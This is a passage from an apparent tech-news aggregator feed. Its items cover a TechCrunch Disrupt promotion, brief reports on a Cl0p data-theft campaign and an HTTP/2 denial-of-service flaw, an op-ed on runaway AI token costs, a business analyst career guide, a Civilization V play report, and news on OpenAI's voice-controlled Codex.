This year’s TechCrunch Disrupt, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.

Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.

And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.

That’s not to mention TechCrunch Disrupt’s signature Startup Battlefield, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.

And with M&A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.

Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?

Don’t miss your chance to experience TechCrunch Disrupt 2026. Book your pass today and use the exclusive code CIO10 to save 10% before prices increase.

]]> <![CDATA[RATS Q3 - How Much Python Should I Know before Hacking]]> https://tsecurity.de/de/3692686/it-security-video/rats-q3-how-much-python-should-i-know-before-hacking/ https://tsecurity.de/de/3692686/it-security-video/rats-q3-how-much-python-should-i-know-before-hacking/ Sat, 25 Jul 2026 00:19:59 +0200 đŸŽ„ IT Security Video tsecurity.de Author: The XSS Rat - Bewertung: 0x - Views:0

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]]> <![CDATA[Nvidia, Microsoft, Meta Warn Against 'Premature Restrictions' of Open-Weight Models]]> https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/ https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/ Fri, 24 Jul 2026 22:11:29 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[I wanted great filter coffee and espresso without buying two appliances — and 9 months later, the Ninja Prestige DualBrew System is still my absolute favorite for both]]> https://tsecurity.de/de/3692430/it-nachrichten/i-wanted-great-filter-coffee-and-espresso-without-buying-two-appliances-and-9-months-later-the-ninja-prestige-dualbrew-system-is-still-my-absolute-favorite-for-both/ https://tsecurity.de/de/3692430/it-nachrichten/i-wanted-great-filter-coffee-and-espresso-without-buying-two-appliances-and-9-months-later-the-ninja-prestige-dualbrew-system-is-still-my-absolute-favorite-for-both/ Fri, 24 Jul 2026 22:04:59 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]> https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/ https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/ Fri, 24 Jul 2026 19:56:29 +0200 📰 IT Security Nachrichten tsecurity.de

For CIOs, learning from the startup ecosystem has never been more critical.

As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.

So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by registering for TechCrunch Disrupt 2026?

Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.

Get 10% off your TechCrunch Disrupt pass with the exclusive code CIO10. 

This year’s TechCrunch Disrupt, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.

Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.

And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.

That’s not to mention TechCrunch Disrupt’s signature Startup Battlefield, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.

And with M&A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.

Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?

Don’t miss your chance to experience TechCrunch Disrupt 2026. Book your pass today and use the exclusive code CIO10 to save 10% before prices increase.

]]> <![CDATA[Hide My Email, Apple Upgrade, and mass iPhone 18 Pro production, on the AppleInsider Podcast]]> https://tsecurity.de/de/3691646/ios-mac-os/hide-my-email-apple-upgrade-and-mass-iphone-18-pro-production-on-the-appleinsider-podcast/ https://tsecurity.de/de/3691646/ios-mac-os/hide-my-email-apple-upgrade-and-mass-iphone-18-pro-production-on-the-appleinsider-podcast/ Fri, 24 Jul 2026 15:12:59 +0200 🍏 iOS / Mac OS tsecurity.de iPhones, all on the AppleInsider Podcast.

Smartphone screen showing Apples Hide My Email feature with a blue mail icon and shield, partially visible email address, and a black ai logo circle on a white background
There was an issue with Hide My Email.

It's been painted as a big security failing by Apple, and it definitely isn't good. But even if someone does manage to circumvent your use of Hide My Email, the worst they can do is send you a spam message.

There's more to it, of course, and if there weren't then you wouldn't benefit from listening to Wesley Hilliard explaining it on the podcast. But while it's good to know the background, not to mention interesting, you can be reassured too.


Continue Reading on AppleInsider | Discuss on our Forums]]> <![CDATA[Getting a grip on shadow tokens and AI blowouts]]> https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ Fri, 24 Jul 2026 14:04:46 +0200 📰 IT Nachrichten tsecurity.de

Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.

This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.

And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.

LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.

And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.

According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.

This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.

Shifting the culture from usage to yield

Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.

None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.

Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.

Stopping token waste before an AI blowout

Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.

This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.

Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.

We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.

This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.

Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[GitOps vs Traditional DevOps]]> https://tsecurity.de/de/3691332/linux-tipps/gitops-vs-traditional-devops/ https://tsecurity.de/de/3691332/linux-tipps/gitops-vs-traditional-devops/ Fri, 24 Jul 2026 13:05:05 +0200 🐧 Linux Tipps tsecurity.de

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]]> <![CDATA[Why GitOps is Not Just CI/CD]]> https://tsecurity.de/de/3691331/linux-tipps/why-gitops-is-not-just-cicd/ https://tsecurity.de/de/3691331/linux-tipps/why-gitops-is-not-just-cicd/ Fri, 24 Jul 2026 13:05:04 +0200 🐧 Linux Tipps tsecurity.de

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]]> <![CDATA[Cl0p ransomware launches new large-scale data theft campaign]]> https://tsecurity.de/de/3691313/it-security-nachrichten/cl0p-ransomware-launches-new-large-scale-data-theft-campaign/ https://tsecurity.de/de/3691313/it-security-nachrichten/cl0p-ransomware-launches-new-large-scale-data-theft-campaign/ Fri, 24 Jul 2026 12:56:00 +0200 📰 IT Security Nachrichten tsecurity.de Hackers believed to be Cl0p ransomware operatives are exploiting a critical flaw in PTC Windchill and FlexPLM to deploy web shells and steal sensitive enterprise data. While the threat actor has not been identified with absolute certainty, the observed tactics closely match those used in previous data theft campaigns attributed to the Cl0p ransomware gang. 


The post Cl0p ransomware launches new large-scale data theft campaign appeared first on CyberInsider.

]]> <![CDATA[New HTTP/2 Vulnerability Lets Hackers Crash Servers With Memory Exhaustion Attacks]]> https://tsecurity.de/de/3691259/it-security-nachrichten/new-http2-vulnerability-lets-hackers-crash-servers-with-memory-exhaustion-attacks/ https://tsecurity.de/de/3691259/it-security-nachrichten/new-http2-vulnerability-lets-hackers-crash-servers-with-memory-exhaustion-attacks/ Fri, 24 Jul 2026 12:27:34 +0200 📰 IT Security Nachrichten tsecurity.de A newly disclosed HTTP/2 denial-of-service vulnerability is raising concerns across the cybersecurity community after researchers confirmed that unauthenticated attackers can crash vulnerable servers by triggering memory exhaustion conditions. The issue affects multiple HTTP/2 implementations that fail to manage resource consumption properly when handling stalled data flows, enabling attackers to degrade or completely disrupt services. HTTP/2, [
]

The post New HTTP/2 Vulnerability Lets Hackers Crash Servers With Memory Exhaustion Attacks appeared first on Cyber Security News.

]]> <![CDATA[What is a business analyst? A key role for business-IT efficiency]]> https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ Fri, 24 Jul 2026 12:09:04 +0200 📰 IT Security Nachrichten tsecurity.de

What is a business analyst?

Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.

BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.

The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.

Impact of AI on business analyst role

As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.

AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.

Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.

Business analyst job description

BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.

According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.

Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  

The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.

Business analyst skills

The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.

Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.

According to the IIBA, some of the most important skills and experience for a business analyst are:

  • Oral and written communication skills
  • Interpersonal, organizational, facilitation, and consultative skills
  • Analytical thinking and problem solving
  • Being detail-oriented and able to deliver a high level of accuracy
  • Knowledge of business structure
  • Stakeholder and cost-benefit analysis
  • Processes modeling
  • Understanding networks, databases, and other technologies

For a more in-depth look at what it takes to succeed as a business analyst, click here.

Business analyst salary

The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.

Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:

SkillsSalary Boost
ScrumMaster44%
Microsoft Azure30%
Supply Chain27%
Oracle eBusiness Suite25%
Master Data Management (SAP MDM)24%
SAP Sales and Distribution (SAP SD)24%
Product Support18%
Microsoft Dynamics GP18%
SAP Quality Management (SAP QM)18%
Workday Software15%

For tips on boosting your salary, click here.

Business analyst certifications

Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:

  • IIBA Entry Certificate in Business Analysis (ECBA)
  • IIBA Certification of Competency in Business Analysis (CCBA)
  • IIBA Certified Business Analysis Professional (CBAP)
  • IIBA Agile Analysis Certification (AAC)
  • IQBBA Certified Foundation Level Business Analyst (CFLBA)
  • IREB Certified Professional for Requirements Engineering (CPRE)
  • PMI Professional in Business Analysis (PBA)
  • Certified Analytics Professional (CAP)

For more information about how to earn one of these certifications — and how much they cost — click here.

Business analytics tools and software

BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.

]]> <![CDATA[Tesla-Aktie stĂŒrzt ab: Musks Autofirma erleidet Milliarden an Wertverlust]]> https://tsecurity.de/de/3691206/it-security-nachrichten/tesla-aktie-stuerzt-ab-musks-autofirma-erleidet-milliarden-an-wertverlust/ https://tsecurity.de/de/3691206/it-security-nachrichten/tesla-aktie-stuerzt-ab-musks-autofirma-erleidet-milliarden-an-wertverlust/ Fri, 24 Jul 2026 11:58:13 +0200 📰 IT Security Nachrichten tsecurity.de Elon Musk, tesla, Twitter, Tesla Motors, Börse, Musk, Aktie, Aktien, Aktienkurs, Crash, Kurs, Bad Elon, Kursverlauf, Aktienwert Nach der PrĂ€sentation der aktuellen Quartalszahlen erlebt die Tesla-Aktie einen massiven Einbruch. Trotz RekordumsĂ€tzen sorgen sinkende Gewinne und hohe Ausgaben fĂŒr KI-Projekte fĂŒr Verunsicherung bei den Anlegern an der Börse. (Weiter lesen)]]> <![CDATA[What GitOps Really Is]]> https://tsecurity.de/de/3691157/linux-tipps/what-gitops-really-is/ https://tsecurity.de/de/3691157/linux-tipps/what-gitops-really-is/ Fri, 24 Jul 2026 11:41:27 +0200 🐧 Linux Tipps tsecurity.de

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]]> <![CDATA[GitOps Handbook]]> https://tsecurity.de/de/3691063/linux-tipps/gitops-handbook/ https://tsecurity.de/de/3691063/linux-tipps/gitops-handbook/ Fri, 24 Jul 2026 11:02:52 +0200 🐧 Linux Tipps tsecurity.de <![CDATA[Google Adds Selfie Video As a Log-In Option]]> https://tsecurity.de/de/3690641/it-security-nachrichten/google-adds-selfie-video-as-a-log-in-option/ https://tsecurity.de/de/3690641/it-security-nachrichten/google-adds-selfie-video-as-a-log-in-option/ Fri, 24 Jul 2026 06:03:36 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[HPR4690: Playing Civilization V, Part 14]]> https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/ https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/ Fri, 24 Jul 2026 02:04:41 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my Diplomatic Victory, but a Science or Domination Victory would definitely have been easier in this scenario.

Playing Civilization V, Part 14

Now I am at turn 340, I just puppeted another City-State, and I have one more on the way. I have sent a large number of military units, both land and sea, to the City-States that are on Japan’s border. If he tries anything now he will likely regret it. Now I am starting to build things I had not bothered with before, like Granaries and Amphitheaters. I got a couple of Great Engineers, and used them to rush build Wonders. I am nearly finished puppeting all of the City-States, and my Happiness and Income are both quite healthy. I am in such good shape I started to build the World’s Fair, which I initally proposed then ignored.

At this point I only have one more City-State to puppet, then I will have puppeted every City-State in the game. So it is time to put my large income to use in other ways by giving gifts to the other players. I may want to get a few more votes on my side to get over the top in the World Leader vote when it happens. On turn 357 I completed the puppeting of all of the City-States in the game. Meanwhile, I am building up my Science and building Wonders as they become available. I didn’t build any in the early game because I had other priorities, but now I have a strong military, high income, and no other pressing needs. My score on the Leader Board is now double that of my nearest competitor which is still Japan. And their denunciation me of just expired with them taking no action.

I used a Great Engineer to rush build the Porcelain Tower, earning me another Great Scientist, which I then used to build another Academy. At this point it is mostly a slog to the finish. Since I was so dominant and so wealthy I could afford to pursue a couple of other options just in case. One was a Science victory, which looked like a possibility, though it would be close. I had to be very focused in my Science Research. The other option was a Culture victory, and I had dominated two other empires culturally without half trying, and I was generating Great Artists, Great Musicians, and Great Writers pretty rapidly. So I built Museums, then Archeologists, and grabbed every artifact I find to stuff into the Museums. But the final Victory came when I researched Globalization. This tech allows you to get an extra vote in a World Council for every Spy you send to another empire’s capital and designate as an Ambassador. I immediately sent my spies out (they had previously been in my cities doing counter-espionage since I had a tech lead). And a few turns later a vote for World Leader came up and I won.

This was my first time using Maria Theresa of Austria as my leader, and it was fun, but in the end puppeting all of the City-Staters actually made it harder to win a Diplomatic victory. In other games I have played, every City-State that was an ally was an extra vote in the World Council, and I assumed that making them puppets would mean I would get that many votes. But that didn’t happen. Of course, if I had read more carefully in the Civilization Wiki I would have realized this, because it says there very clearly that Austria is one of the worst Empires to pick if you are going for a Diplomatic victory. So the fact that I managed it anyway is nice. I think I actually could have done a Science victory as I had my Spaceship half-built when I won the Diplomatic Victory. But I hope this analysis of how I actually played this game will be helpful to someone else.

Links

Provide feedback on this episode.

]]> <![CDATA[Workshops Page is Live! Reg Opening Soon!]]> https://tsecurity.de/de/3690459/hacking/workshops-page-is-live-reg-opening-soon/ https://tsecurity.de/de/3690459/hacking/workshops-page-is-live-reg-opening-soon/ Fri, 24 Jul 2026 01:56:34 +0200 đŸ•”ïž Hacking tsecurity.de DEF CON Workshops reg opens July 14th

Prepare yourselves! DEF CON 34 Workshop registration goes live at noon PDT on July 14! First come, first served.

The full course lineup is available on the DEF CON site and the humantix link you'll use is here.

Make sure to limber up your clicking mechanism of choice and stay hydrated.

Godspeed and good luck to all of you!

]]> <![CDATA[Niri could redefine tiling window management]]> https://tsecurity.de/de/3690397/linux-tipps/niri-could-redefine-tiling-window-management/ https://tsecurity.de/de/3690397/linux-tipps/niri-could-redefine-tiling-window-management/ Fri, 24 Jul 2026 00:45:49 +0200 🐧 Linux Tipps tsecurity.de

I’m a big fan of an efficient window handling. There are many different philosophies out there on how to do it from the traditional master plus stack window managers to zone based window snapping tools to some auto tiling solution that lives somewhere between those.

Then there is Niri. For anyone who may not know, Niri is a Wayland compositor that takes a new approach to window tiling. By default, it opens windows at 50% of your screen width and tiles them infinitely to the right, allowing you to scroll focus on them by pressing super + arrow keys. Of course you can stack them, rearrange them, toggle full screen, force focused window to take up all remaining space on screen, and it boasts vertical workspaces.

I have been using Niri with Dank Material Shell (DMS) for the last month and now I am not sure I could ever go back to the traditional master + stacked window tiling philosophy. I just tried and it feels awkward, limiting, and cluttered. It even beats more full featured desktop environment tiling options in Gnome and KDE in my opinion because I don’t have to alt + tab to find the window I want to focus on.

If you haven’t given it a try, you should. I didn’t think I would like it very much, but I got used to it after a few days, kept it for a couple of weeks, and now it has become my favorite way to work.

submitted by /u/kylerjohnsondev
[link] [comments]]]> <![CDATA[Agentic coding goes hands free as OpenAI brings GPT-Live's full duplex voice control to Codex and ChatGPT on the desktop]]> https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/ https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/ Fri, 24 Jul 2026 00:20:42 +0200 📰 IT Nachrichten tsecurity.de Two weeks after debuting its more naturalistic GPT-Live audio AI model with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows.

The company announced that GPT-Live now powers the ChatGPT desktop application on macOS and Windows, integrating directly with agentic systems like Codex and ChatGPT Work (which are separate experiences available in the ChatGPT desktop app).

When OpenAI initially launched GPT-Live on July 8, 2026, it introduced a continuous audio model capable of listening and speaking simultaneously—eliminating rigid turn-taking while delegating complex reasoning to background models like GPT-5.5.

Today's release expands that conversational layer to technical tasks, enabling software engineers to orchestrate multi-threaded coding jobs, review pull requests, and debug applications using natural voice commands.

As such, it could usher in a new era of "hands free" software development and even live, in-person group coding parties for Codex's more than 5 million weekly active users. Codex, of course, is the name given to OpenAI's models and harness focused on coding, but which the company has this year expanded into a more general productivity platform. An OpenAI spokesperson told VentureBeat this is the first time voice activation has been included natively with Codex on the desktop.

OpenAI posted a promotional video showing some of its employees, Codex developer experience engineer Jason Liu and Codex technical staffer Guinness Chen, speaking to the same ChatGPT desktop app session in the same room, each issuing different instructions and conversing with the same model.

New capabilities unlocked

At its core, this integration relies on decoupling the real-time voice layer from the underlying execution engines.

While GPT-Live maintains fluid conversation—inserting natural verbal acknowledgments like "got it" without interrupting the user—it passes heavy computational workloads to background reasoning models.

On macOS, the desktop application incorporates "Appshots" and screen context features, allowing ChatGPT Voice to analyze the frontmost window alongside local files, codebase structures, and active plugins.

This architecture creates a pair-programming dynamic where developers talk through problems conversationally while agents execute tasks asynchronously.

Rather than manually stopping coding sessions to type detailed instructions or switch windows, developers direct the system hands-free.

The full-duplex engine dynamically decides when to speak, pause, or invoke tools, maintaining conversational state even as background agents process complex code modifications.

Directing coding and complex builds with your voice alone

The central operational capability in this update centers on multi-task execution across Codex and ChatGPT Work environments.

Software engineers can initiate multiple concurrent task threads from a single spoken prompt. For instance, a developer preparing to ship a feature can instruct the system to investigate an open authentication bug, review a pending API migration pull request, and generate missing unit tests simultaneously.

The desktop application coordinates these actions across disparate contexts, tracing issues through Slack conversations, GitHub repositories, and local codebases.

Developers can also verbally convert design mockups into working code, splitting tasks across frontend, backend, and testing layers.

With support for multi-folder projects (build 26.715) and remote execution via iOS, engineers can check task progress, answer agent prompts, and redirect active jobs without switching applications or managing individual processes line by line.

Proprietary license

OpenAI’s voice-enabled desktop release operates under a proprietary, commercial enterprise model. Access is restricted to paid subscribers across Plus, Pro, Business, Enterprise, and Education plans.

For individual developers and corporate engineering departments, this commercial structure means the model weights, voice processing pipelines, and agent state architectures remain fully closed.

Organizations cannot modify or self-host the underlying systems. Furthermore, tasks initiated via ChatGPT Voice consume standard usage allocations directly from existing Codex and ChatGPT Work plan quotas, treating voice-triggered actions identically to standard agentic workloads.

Community reactions

Developer communities immediately noted the implications of bringing continuous full-duplex voice to autonomous coding workflows.

Reacting to the build 26.715 release announcement—which details voice integration and multi-folder project support—AI Insider journalist @ChrisGPT noted on X: "Today OpenAI will release voice and remote guidance for codex ! One step closer to personal AGI".

Early technical feedback highlights widespread enthusiasm for orchestrating complex agentic tasks hands-free, particularly when stepping away from the workstation or managing build pipelines remotely.

]]> <![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]> https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/ https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/ Fri, 24 Jul 2026 00:13:06 +0200 🐧 Linux Tipps tsecurity.de

Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.

I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.

The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.

Hosted CI dashboard:

https://bartosz.fenski.pl/modern-fs-benchmark/

Experimental real-hardware dashboard:

https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/

Apache-2.0 licensed source and complete methodology:

https://github.com/fenio/modern-fs-benchmark
